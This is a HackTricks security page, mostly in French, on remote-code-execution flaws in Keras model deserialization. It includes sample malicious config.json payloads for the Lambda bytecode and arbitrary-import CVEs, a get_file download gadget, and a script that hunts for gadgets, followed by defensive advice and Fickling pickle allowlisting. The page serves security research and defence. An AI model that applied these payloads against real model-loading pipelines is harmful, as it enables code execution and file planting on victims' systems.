Keras Model Deserialization RCE and Gadget Hunting
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Cette page résume des techniques d'exploitation pratiques contre le pipeline de désérialisation de modÚles Keras, explique les internals du format natif .keras et sa surface d'attaque, et fournit une boßte à outils pour chercheurs pour trouver Model File Vulnerabilities (MFVs) et post-fix gadgets.
Internes du format de modĂšle .keras
Un fichier .keras est une archive ZIP contenant au minimum :
- metadata.json â informations gĂ©nĂ©riques (par ex., version de Keras)
- config.json â architecture du modĂšle (surface d'attaque principale)
- model.weights.h5 â poids en HDF5
Le config.json pilote une désérialisation récursive : Keras importe des modules, résout les classes/fonctions et reconstruit les layers/objets à partir de dictionnaires contrÎlés par l'attaquant.
Example snippet for a Dense layer object:
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}
La désérialisation effectue:
- Importation de modules et résolution de symboles à partir des clés module/class_name
- Appel de from_config(...) ou du constructeur avec des kwargs contrÎlés par l'attaquant
- Récursion dans les objets imbriqués (activations, initializers, constraints, etc.)
Historiquement, cela exposait trois primitives Ă un attaquant forgeant config.json:
- ContrÎle des modules importés
- ContrÎle des classes/fonctions résolues
- ContrÎle des kwargs passés aux constructeurs/from_config
CVE-2024-3660 â Lambda-layer bytecode RCE
Cause racine:
- Lambda.from_config() utilisait python_utils.func_load(...) qui décodait en base64 et appelait marshal.loads() sur des octets fournis par l'attaquant; la désérialisation Python peut exécuter du code.
Idée d'exploit (payload simplifié dans config.json):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}
Atténuation :
- Keras impose safe_mode=True par défaut. Les fonctions Python sérialisées dans Lambda sont bloquées sauf si un utilisateur choisit explicitement safe_mode=False.
Remarques :
- Formats legacy (anciennes sauvegardes HDF5) ou bases de code plus anciennes peuvent ne pas appliquer les contrĂŽles modernes, donc des attaques de type âdowngradeâ peuvent encore s'appliquer lorsque les victimes utilisent d'anciens loaders.
CVE-2025-1550 â Import arbitraire de module dans Keras †3.8
Cause racine :
- _retrieve_class_or_fn utilisait importlib.import_module() sans restriction avec des chaßnes de module contrÎlées par l'attaquant provenant de config.json.
- Impact : Import arbitraire de n'importe quel module installé (ou d'un module placé par l'attaquant sur sys.path). Le code s'exécute à l'import, puis l'objet est construit avec des kwargs fournis par l'attaquant.
Idée d'exploit :
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}
Améliorations de sécurité (Keras ℠3.9) :
- Module allowlist: les imports sont restreints aux modules officiels de l'écosystÚme : keras, keras_hub, keras_cv, keras_nlp
- Safe mode default: safe_mode=True bloque le chargement de fonctions sérialisées Lambda non sécurisées
- Basic type checking: les objets désérialisés doivent correspondre aux types attendus
Surface de gadgets post-fix dans l'allowlist
MĂȘme avec l'allowlisting et le safe mode, une large surface reste prĂ©sente parmi les callables Keras autorisĂ©s. Par exemple, keras.utils.get_file peut tĂ©lĂ©charger des URLs arbitraires vers des emplacements choisis par l'utilisateur.
Gadget via Lambda qui référence une fonction autorisée (et non du bytecode Python sérialisé) :
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
Important limitation:
- Lambda.call() préfixe le tenseur d'entrée comme premier argument positionnel lors de l'invocation du callable cible. Les gadgets choisis doivent tolérer un argument positionnel supplémentaire (ou accepter *args/**kwargs). Cela contraint les fonctions viables.
Potential impacts of allowlisted gadgets:
- Téléchargement/écriture arbitraire (path planting, config poisoning)
- Callbacks réseau/effets de type SSRF selon l'environnement
- Chaßnage vers l'exécution de code si les chemins écrits sont ensuite importés/exécutés ou ajoutés à PYTHONPATH, ou si un emplacement exécutable-à -l'écriture existe
Researcher toolkit
- Systematic gadget discovery in allowed modules
ĂnumĂ©rer les callables candidats dans keras, keras_nlp, keras_cv, keras_hub et prioriser ceux ayant des effets secondaires sur les fichiers/le rĂ©seau/les processus/l'environnement.
import importlib, inspect, pkgutil
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
seen = set()
def iter_modules(mod):
if not hasattr(mod, "__path__"):
return
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
yield m.name
candidates = []
for root in ALLOWLIST:
try:
r = importlib.import_module(root)
except Exception:
continue
for name in iter_modules(r):
if name in seen:
continue
seen.add(name)
try:
m = importlib.import_module(name)
except Exception:
continue
for n, obj in inspect.getmembers(m):
if inspect.isfunction(obj) or inspect.isclass(obj):
sig = None
try:
sig = str(inspect.signature(obj))
except Exception:
pass
doc = (inspect.getdoc(obj) or "").lower()
text = f"{name}.{n} {sig} :: {doc}"
# Heuristics: look for I/O or network-ish hints
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
candidates.append(text)
print("\n".join(sorted(candidates)[:200]))
- Tests de désérialisation directs (aucune archive .keras nécessaire)
Injectez des dicts spécialement conçus directement dans les désérialiseurs Keras pour découvrir les paramÚtres acceptés et observer les effets secondaires.
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
- Tests inter-versions et formats
Keras existe dans plusieurs bases de code/époques avec des garde-fous et formats différents :
- TensorFlow built-in Keras: tensorflow/python/keras (legacy, prévu pour suppression)
- tf-keras: maintenu séparément
- Multi-backend Keras 3 (official): a introduit le format natif .keras
Répétez les tests à travers les bases de code et formats (.keras vs legacy HDF5) pour détecter des régressions ou l'absence de garde-fous.
Recommandations défensives
- Considérez les fichiers de modÚle comme des entrées non fiables. Ne chargez des modÚles que depuis des sources de confiance.
- Maintenez Keras à jour ; utilisez Keras ℠3.9 pour bénéficier de l'allowlisting et des vérifications de type.
- Ne réglez pas safe_mode=False lors du chargement des modÚles, sauf si vous faites entiÚrement confiance au fichier.
- Envisagez d'exécuter la désérialisation dans un environnement sandboxé, avec les privilÚges minimaux, sans sortie réseau et avec un accÚs au systÚme de fichiers restreint.
- Appliquez des allowlists/signatures pour les sources de modÚles et vérifiez l'intégrité lorsque c'est possible.
ML pickle import allowlisting for AI/ML models (Fickling)
De nombreux formats de modÚles AI/ML (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, anciens artefacts TensorFlow, etc.) embarquent des données Python pickle. Les attaquants abusent réguliÚrement des imports GLOBAL de pickle et des constructeurs d'objets pour obtenir un RCE ou remplacer des modÚles lors du chargement. Les scanners basés sur des listes noires manquent souvent des imports dangereux nouveaux ou non listés.
Une dĂ©fense pratique en mode fail-closed consiste Ă intercepter le dĂ©sĂ©rialiseur pickle de Python et Ă n'autoriser qu'un ensemble rĂ©visĂ© d'importations liĂ©es au ML non dangereuses lors de l'unpickling. Trail of Bitsâ Fickling implĂ©mente cette politique et fournit une allowlist d'importations ML triĂ©e, construite Ă partir de milliers de pickles publics Hugging Face.
ModĂšle de sĂ©curitĂ© pour les imports âsafeâ (intuitions distillĂ©es de la recherche et de la pratique) : les symboles importĂ©s utilisĂ©s par un pickle doivent simultanĂ©ment :
- Ne pas exécuter de code ni provoquer d'exécution (pas d'objets code compilé/source, pas d'exécution de shell, pas de hooks, etc.)
- Ne pas lire/écrire des attributs ou éléments arbitraires
- Ne pas importer ni obtenir des références à d'autres objets Python depuis la VM pickle
- Ne pas dĂ©clencher de dĂ©sĂ©rialiseurs secondaires (p.ex., marshal, nested pickle), mĂȘme indirectement
Activez les protections de Fickling le plus tÎt possible au démarrage du processus afin que tous les chargements de pickle effectués par les frameworks (torch.load, joblib.load, etc.) soient contrÎlés :
import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()
Conseils opérationnels :
- Vous pouvez temporairement dĂ©sactiver/rĂ©activer les hooks lĂ oĂč c'est nĂ©cessaire :
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
- Si un modÚle connu et fiable est bloqué, étendez l'allowlist pour votre environnement aprÚs avoir examiné les symboles :
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
-
Fickling expose également des gardes d'exécution génériques si vous préférez un contrÎle plus granulaire :
-
fickling.always_check_safety() pour appliquer des vérifications pour tous les pickle.load()
-
with fickling.check_safety(): pour une application limitée dans une portée
-
fickling.load(path) / fickling.is_likely_safe(path) pour des vérifications ponctuelles
-
Préférez des formats de modÚle non-pickle lorsque possible (p.ex., SafeTensors). Si vous devez accepter des pickle, exécutez les loaders selon le principe du moindre privilÚge sans sortie réseau et appliquez l'allowlist.
Cette stratégie allowlist-first bloque de maniÚre démontrable les chemins d'exploitation courants des pickle en ML tout en maintenant une compatibilité élevée. Dans le benchmark de ToB, Fickling a signalé 100% des fichiers malveillants synthétiques et a autorisé ~99% des fichiers propres provenant des principaux repos Hugging Face.
Références
- Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)
- Keras PR #20751 â Added checks to serialization
- CVE-2024-3660 â Keras Lambda deserialization RCE
- CVE-2025-1550 â Keras arbitrary module import (†3.8)
- huntr report â arbitrary import #1
- huntr report â arbitrary import #2
- Trail of Bits blog â Ficklingâs new AI/ML pickle file scanner
- Fickling â Securing AI/ML environments (README)
- Fickling pickle scanning benchmark corpus
- Picklescan, ModelScan, model-unpickler
- Sleepy Pickle attacks background
- SafeTensors project
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks